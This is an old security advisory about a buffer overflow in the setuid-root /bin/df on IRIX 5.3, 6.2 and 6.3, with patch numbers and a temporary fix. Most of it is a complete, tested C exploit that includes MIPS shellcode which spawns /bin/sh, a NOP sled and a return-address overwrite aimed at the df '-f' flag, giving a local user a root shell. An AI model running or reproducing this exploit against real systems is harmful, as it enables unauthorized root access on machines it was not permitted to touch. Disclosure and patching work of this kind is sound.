COMMAND
/bin/df
SYSTEMS AFFECTED
IRIX 5.3, 6.2, 6.3
PROBLEM
df(1) is a program used to display statistics about the amount of
used and free disc space on file systems.
There appears to be a buffer overflow in /bin/df on Irix 5.3, 6.2
and 6.3. /bin/df is installed suid root and hence root access is
achievable for local users.
The version of 'df' which comes with Irix 6.2, whilst having the
buffer overflow problem, is not vulnerable to this exploit as it
is compiled as a 64bit N32 object and it is virtually impossible
to exploit buffer overflows in such programs. Note that this is
true only for the IRIX64 version of Irix 6.2
This only appears to affect the '-f' flag which I doubt anyone
ever uses. The exploit code included has been tested on the
following:
R3000 Indigo (Irix 5.3)
R4400 Indy (Irix 5.3)
R4400 Indigo 2, Irix 6.2
R4600 Indy, Irix 6.2
R5000 O2 (Irix 6.3)
Compile with either gcc or cc. Note that you should specify one of
'-mips3', '-mips4' or '-n32' to compile on an O2. The default
compile options result in a binary which exhibits weird cache
coherency problems and rarely works.
Credit is due to Yuri Volobuev for his Irix shell code on which
David Hedley is based. Exploit follows:
-------------------- cut here ----------------------------
/* /bin/df buffer overflow exploit by DCRH */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#define BUF_LENGTH 1504
#define EXTRA 700
#define OFFSET 0x200
#define IRIX_NOP 0x03e0f825 /* move $ra,$ra */
#define u_long unsigned
u_long get_sp_code[] = {
0x03a01025, /* move $v0,$sp */
0x03e00008, /* jr $ra */
0x00000000, /* nop */
};
u_long irix_shellcode[] = {
0x24041234, /* li $4,0x1234 */
0x2084edcc, /* sub $4,0x1234 */
0x0491fffe, /* bgezal $4,pc-4 */
0x03bd302a, /* sgt $6,$sp,$sp */
0x23e4012c, /* addi $4,$31,264+36 */
0xa086feff, /* sb $6,-264+7($4) */
0x2084fef8, /* sub $4,264 */
0x20850110, /* addi $5,$4,264+8 */
0xaca4fef8, /* sw $4,-264($5) */
0xaca6fefc, /* sw $4,-260($5) */
0x20a5fef8, /* sub $5, 264 */
0x240203f3, /* li $v0,1011 */
0x03ffffcc, /* syscall 0xfffff */
0x2f62696e, /* "/bin" */
0x2f7368ff, /* "/sh" */
};
char buf[BUF_LENGTH + EXTRA + 8];
void main(int argc, char **argv)
{
char *env[] = {NULL};
u_long targ_addr, stack;
u_long *long_p;
int i, code_length = strlen((char *)irix_shellcode)+1;
u_long (*get_sp)(void) = (u_long (*)(void))get_sp_code;
stack = get_sp();
long_p =(u_long *) buf;
targ_addr = stack + OFFSET;
if (argc > 1)
targ_addr += atoi(argv[1]) * 4;
while ((targ_addr & 0xff000000) == 0 ||
(targ_addr & 0x00ff0000) == 0 ||
(targ_addr & 0x0000ff00) == 0 ||
(targ_addr & 0x000000ff) == 0)
targ_addr += 4;
for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
*long_p++ = IRIX_NOP;
for (i = 0; i < code_length/sizeof(u_long); i++)
*long_p++ = irix_shellcode[i];
for (i = 0; i < EXTRA / sizeof(u_long); i++)
*long_p++ = (targ_addr << 16) | (targ_addr >> 16);
*long_p = 0;
printf("stack = 0x%x, targ_addr = 0x%x\n", stack, targ_addr);
execle("/bin/df", "df", &buf[3], 0, env);
perror("execl failed");
}
SOLUTION
Patches are:
OS Version Vulnerable? Patch # Other Actions
---------- ----------- ------- -------------
IRIX 3.x unknown not avail Upgrade
IRIX 4.x unknown not avail Upgrade
IRIX 5.0.x yes not avail Upgrade
IRIX 5.1.x yes not avail Upgrade
IRIX 5.2 yes not avail Upgrade
IRIX 5.3 yes 2224
IRIX 6.0.x yes not avail Upgrade
IRIX 6.1 yes not avail Upgrade
IRIX 6.2 yes 2177
IRIX 6.3 yes 2232
IRIX 6.4 yes 2233
The temporary fix: chmod u-s /bin/df. Another fix: replace irix
6.2 mips-2 binary with the mips-3 binary from an IRIX64 box.